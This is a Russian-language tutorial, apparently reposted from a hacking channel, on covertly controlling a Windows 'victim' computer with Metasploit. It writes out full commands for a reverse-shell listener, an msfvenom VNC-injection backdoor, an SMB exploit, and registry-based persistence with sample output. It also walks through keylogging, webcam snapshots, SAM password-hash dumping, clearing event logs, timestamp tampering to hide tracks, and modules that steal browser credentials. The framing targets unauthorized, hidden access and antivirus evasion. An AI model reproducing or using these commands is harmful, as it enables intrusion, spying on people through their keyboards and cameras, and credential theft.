Скрытое управление компьютером на Windows (используя Metasploit). Часть 2

Скрытое управление компьютером на Windows (используя Metasploit). Часть 2

Life-Hack [Жизнь-Взлом]/Хакинг

#Обучение 

10. Работа с бэкдорами в Metasploit 

На «атакующей» машине запускаем Metasploit: 

msfconsole

Далее 

use exploit/multi/handler
set payload windows/meterpreter/reverse_tcp

Обратите внимание, что если вместо windows/meterpreter/reverse_tcp вы выбрали другую полезную нагрузку, то в предыдущей команде замените эту строку на свою. 

Нужно установить настройки – IP и порт локальной машины: 

set LHOST 192.168.0.196
set LPORT 4444

Не забудьте строку 192.168.0.196 поменять на свой IP адрес. Если вы не меняли порт, то его можно не настраивать, поскольку значением по умолчанию является 4444. 

Когда настройки сделаны, запустите выполнение модуля: 

run

Теперь на «цели» запустите исполнимый файл с полезной нагрузкой. Как только это будет сделано, бэкдор подключится к машине атакующего и откроется сессия meterpreter

11. Основы работы в Meterpreter (Meta-Interpreter) 

Для показа справки наберите ? или help. Разнообразных команд много. Думаю, стоит затратить время, чтобы ознакомится с ними со всеми. Если вы хотите получить информацию об опциях конкретной команды, напишите команду и добавьте флаг -h, например, следующая команда покажет опции модуля для управления веб-камерой: 

webcam_snap -h

Основные команды:

Команда                   Описание
-------                   -----------
?                         Справка
background                Перевести в фон текущую сессию
bgkill                    Убивает фоновый скрипт meterpreter
bglist                    Список запущенных в фоне скриптов
bgrun                     Выполнить скрипт meterpreter как фоновый процесс
channel                   Показывает информацию или управляет активными каналами
close                     Закрыть канал
disable_unicode_encoding  Отключает кодирование unicode строк
enable_unicode_encoding   Включает кодирование unicode строк
exit                      Прекращает сессию meterpreter
get_timeouts              Получает значение таймаута текущей сессии
help                      Справка
info                      Показывает информацию о модуле Post
irb                       Перебрасывает в скриптовый режим irb
load                      Загружает один или более расширений meterpreter
machine_id                Получить MSF ID прикреплённой к сессии машины
migrate                   Перенастроить сервер на другой процесс
quit                      Прекратить сессию meterpreter
read                      Считывает данные из канала
resource                  Запуск команд, сохранённых в файл
run                       Выполнить скрипт meterpreter или модуль Post
sessions                  Быстро переключиться на другой сеанс
set_timeouts              Установить значение таймаута текущего сеанса
sleep                     Заставить Meterpreter замолчать, а затем восстановить сеанс.
transport                 Изменение текущего механизма передачи
use                       Устаревший псевдоним для 'load'
uuid                      Получить UUID текущего сеанса
write                     Записать данные в канал

Итак, с помощью ключевых команд мы можем автоматизировать процесс (выполнять команды из файла), записывать данные в канал, для последующего использования, выполнять долгие задачи в фоне. Особенно обратим внимание на команды info и run – первая покажет информацию об интересующем модуле последующей эксплуатации, а вторая запустит выбранный модуль – к этим вопросам мы вернёмся позже. 

Рассмотрим команды файловой системы, некоторые из них имеют одинаковые названия с аналогичными командами в оболочке Linux: 

Команда       Описание
-------       -----------
cat           Вывести содержимое файла на экран
cd            Сменить директорию
checksum      Получить контрольную сумму файла
cp            Скопировать файл/директорию в другое место
dir           Вывести список файлов (псевдоним для ls)
download      Загрузить файл или директорию
edit          Отредактировать файл
getlwd        Вывести локальную рабочую директорию
getwd         Вывести рабочую директорию
lcd           Изменить локальную рабочу директорию
lpwd          Вывести локальную рабочую директорию
ls            Показать список файлов
mkdir         Создать директорию
mv            Переместить файл/директорию в другое место
pwd           Вывести рабочую директорию
rm            Удалить указанный файл
rmdir         Удалить директорию
search        Поиск файлов
show_mount    Вывести всех точек монтирования/логических дисков
upload        Выгрузить файл или директорию

Например, я хочу на удалённый компьютер выгрузить файл driver_dlya_tvoego_computera.exe

upload driver_dlya_tvoego_computera.exe

Просматриваем список файлов на удалённом компьютере и загружаем с него файл allen.zip

ls
download allen.zip

Сетевые команды:

Команда       Описание
-------       -----------
arp           Показать ARP кэш хоста
getproxy      Показать текущие настройки прокси
ifconfig      Показать интерфейсы
ipconfig      Показать интерфейсы
netstat       Показать сетевые соединения
portfwd       Перенаправить локальный порт на удалённую службу
resolve       Сделать запросы с цели на преобразование одного или нескольких имён хостов
route         Просмотр и изменение таблицы маршрутизации

Системные команды:

Команда       Описание
-------       -----------
clearev       Очистить журнал событий
drop_token    Отбрасывает любой активный токен имперсонализации.
execute       Выполнить команду
getenv        Получить значение одной или более переменных окружения
getpid        Получить идентификатор текущего процесса
getprivs      Попытаться включить все привилегии, доступные для текущего процесса
getsid        Получение SID пользователя
getuid        Получение имени пользователя
kill          Завершить процесс
localtime     Показать локальную дату и время целевой системы
pgrep         Фильтрация процессов по имени
pkill         Завершить процесс по имени
ps            Список запущенных процессов
reboot        Перезагрузить удалённый компьютер
reg           Изменение и взаимодействие с удалённым регистром
rev2self      Вызов RevertToSelf() на удалённой машине
shell         Перейти в системную командную оболочку
shutdown      Отключить удалённый компьютер
steal_token   Попытаться украсть impersonation token из целевого процесса
suspend       Приостанавливает или возобновляет список процессов
sysinfo       Получает информацию об удалённой системе, такую как вид ОС

Системные команды позволяют получить доступ к удалённой оболочке, что даёт возможность непосредственно вводить команды, позволяют завершать процессы, выключать или перезагружать компьютер, выполнять команды уровня ОС, а также собирать информацию и заметать следы. 

Команды пользовательского интерфейса:

Команда       Описание
-------        -----------
enumdesktops   Список всех доступных рабочих столов и оконных станций
getdesktop     Получить текущий рабочий стол meterpreter
idletime       Возвращает количество секунд отсутствия активности удалённого пользователя
keyscan_dump   Дамп буфера нажатия клавиш
keyscan_start  Запустить захват нажатие клавиш
keyscan_stop   Остановить захват нажатия клавиш
screenshot     Получение скриншота интерактивного рабочего стола
setdesktop     Изменение текущего рабочего стола meterpreters
uictl          Контроль некоторых компонентов пользовательских интерфейсов

Данный набор команд позволяет делать скриншоты с удалённого компьютера, отключать и включать мышь, клавиатуру, следить на нажатыми пользователем клавишами. 

Для начала захвата нажатия клавиш введите: 

keyscan_start

Чтобы посмотреть, какие клавиши и в каких программах ввёл пользователь выполните: 

keyscan_dump

Команды для управления веб-камерой:

Команда       Описание
-------        -----------
record_mic     Запись аудио со стандартного микрофона в течение X секунд
webcam_chat    Начать видеочат
webcam_list    Вывести список веб-камер
webcam_snap    Сделать снимок указанной веб-камерой
webcam_stream  Запустить выдиопоток с выбранной веб-камеры

На мой взгляд, очень интересные функции. Чтобы проверить, имеет ли компьютер жертвы веб-камеры выполните 

webcam_list

В моём случае обнаружена одна веб-камера SC-20FHL11146M, чтобы сделать с неё снимок набираю (замените имя веб-камеры): 

webcam_snap SC-20FHL11146M

Будет сделана и показана фотография с веб-камеры удалённого компьютера. 

Команды вывода аудио:

Команда       Описание
-------       -----------
play          воспроизвести аудио файл на целевой системе, на диск ничего не записывается

Команды повышения привилегий:

Команда       Описание
-------       -----------
getsystem     Пытается поднять ваши привилегии на данной локальной системе.

Команда для работы с базой данных паролей:

Команда       Описание
-------       -----------
hashdump      Дампит содержимое базы данных SAM

Команды для работы с Timestomp (временными метками файла):

Команда       Описание
-------       -----------
timestomp     Манипуляция файловыми атрибутами MACE

Чтобы замести следы, иногда может быть полезным изменить атрибуты MACE (запись изменения, доступа, создания) файла. 

12. Скрытый доступ к удалённому рабочему столу (VNC) 

Для скрытого доступа к удалённому рабочему столу посредством VNC нужно выбрать полезную нагрузку, содержащую слово vncinject, к примеру, такой полезной нагрузкой является windows/vncinject/reverse_tcp

msfvenom -p windows/vncinject/reverse_tcp lhost=192.168.0.196 -f exe -o vnc.exe

Далее запустите Metasploit (если вы это ещё не сделали): 

msfconsole

Внутри Metasploit: 

use exploit/windows/smb/ms09_050_smb2_negotiate_func_index
set payload windows/vncinject/reverse_tcp
set lhost 192.168.0.196
set rhost 192.168.0.244
run

Обратите внимание, что в отличие от работы с Meterpreter, мы используем exploit/windows/smb/ms09_050_smb2_negotiate_func_index. Также нам необходимо установить IP адрес удалённого хоста (set rhost 192.168.0.244). 

После запуска эксплойта, запустите исполнимый файл с полезной нагрузкой на компьютере жертвы. Вы увидите удалённый рабочий стол компьютера жертвы. 

В качестве альтернативы, можно использовать 64-битную версию полезной нагрузки: windows/x64/vncinject/reverse_tcp

На машине атакующего должен быть установлен VNC клиент (просмотрщик). 

13. Закрепление доступа 

До недавнего времени для закрепления доступа – создания бэкдора, который запускается при каждой загрузки системы – использовался скрипт persistence

run persistence -h

Но в настоящее время скрипты Meterpreter считаются устаревшими, поэтому рекомендуется использовать модуль post/windows/manage/persistence_exe. Это Windows Manage Persistent EXE Payload Installer, т.е. установщик постоянной полезной нагрузки EXE в Windows. 

Этот модуль выгрузит на удалённый хост исполнимый файл и сделает его постоянным – т.е. скопирует в определённое место и добавит ключ в реестр Windows для автоматического запуска при каждом старте Windows. Он может быть установлен как USERSYSTEM или SERVICE. При выборе USER, программа запустится при входе пользователя; при выборе SYSTEM – запустится при загрузке системы, для этого требуются соответствующие привилегии; при выборе SERVICE будет создана служба, которая запустит полезную нагрузку, также требуются привилегии. 

Опции модуля: 

Имя      Текущее значение  Требуется  Описание
----      ---------------  --------  -----------
REXENAME  default.exe      да       Имя exe файла на удалённой системе
REXEPATH                   да       Файл, который нужно загрузить на удалённую систему
SESSION                    да       Сессия, на которой запустить этот модуль
STARTUP   USER             да       Тип запуска постоянной нагрузки. (Варианты: USER, SYSTEM, SERVICE)

Пример запуска 

run post/windows/manage/persistence_exe REXEPATH=/local/path/to/your/payload.exe REXENAME=default.exe STARTUP=SYSTEM

Эта команда означает, что на удалённый хост будет выгружен файл payload.exe, который на локальной системе размещён по пути /local/path/to/your/payload.exe, этот файл на удалённой системе будет переименован в default.exe и будет запущен с системными привилегиями. 

Ещё один пример: 

run post/windows/manage/persistence_exe REXEPATH=/home/mial/backdoor2.exe

Модуль вывел следующую информацию: 

[*] Running module against MIAL-PC
[*] Reading Payload from file /home/mial/backdoor2.exe
[+] Persistent Script written to C:\Users\Alex\AppData\Local\Temp\default.exe
[*] Executing script C:\Users\Alex\AppData\Local\Temp\default.exe
[+] Agent executed with PID 6572
[*] Installing into autorun as HKCU\Software\Microsoft\Windows\CurrentVersion\Run\MHlFtyrXIllAQ
[+] Installed into autorun as HKCU\Software\Microsoft\Windows\CurrentVersion\Run\MHlFtyrXIllAQ
[*] Cleanup Meterpreter RC File: /home/mial/.msf4/logs/persistence/MIAL-PC_20170519.0352/MIAL-PC_20170519.0352.rc

Т.е. на удалённой системе файл сохранён по пути C:\Users\Alex\AppData\Local\Temp\default.exe, для автозапуска сделана запись в реестре Windows по пути HKCU\Software\Microsoft\Windows\CurrentVersion\Run\MHlFtyrXIllAQ. 

14. Модули последующей эксплуатации Metasploit 

post/windows/manage/persistence_exe – это всего лишь один из модулей последующей эксплуатации, которые присутствуют в Metasploit для Windows. 

Некоторые примеры: 

  •  post/windows/gather/enum_chrome – извлечение чувствительной информации из веб-браузера Google Chrome 
  •  post/windows/gather/credentials/total_commander – извлечение паролей из Total Commander 
  •  post/windows/escalate/screen_unlock – разблокировка экрана Windows (будьте осторожны с этим модулем) 
  •  post/windows/gather/phish_windows_credentials – фишинговая атака на учётные данные Windows 

Количество модулей достаточно велико: 

Все эти модули можно применять во время сеанса Meterpreter. 

15. Когда обратный шелл не нужен 

Если вы можете установить бэкдор на целевой компьютер, то вполне возможно, что вам подойдут другие альтернативы, а обратный шелл просто не нужен. Например, если на целевой машине уже запущен SSH сервер, то вы можете попытаться добавить к нему нового пользователя и использовать его. 

Если целевая машина – это веб-сервер, который поддерживает на стороне сервера язык программирования, то вы можете оставить бэкдор на этом языке. Например, многие сервера Apache поддерживают PHP, в этом случае вы можете использовать PHP "web shell". IIS сервера обычно поддерживают ASP, или ASP.net. Metasploit Framework предлагает полезные нагрузки на всех этих языках (и многих других). 

Аналогично для VNC, удалённого рабочего стола, SMB (psexec), других инструментов удалённого администрирования и т.д. 

16. Заключение 

 

Итак, как мы могли сами убедиться MSFvenom позволяет генерировать полезную нагрузку, а Meterpreter помогает скрыто управлять удалённой системой. 

В целом это обзорная статья, цель которой – показать некоторые возможности Metasploit. В реальной практической ситуации нужно подобрать полезную нагрузку в соответствии с разными сценариями: на случай смены IP жертвой, на случай смены IP атакующим, решить проблемы доставки полезной нагрузки и избежание обнаружения антивирусами.

Источник


Report Page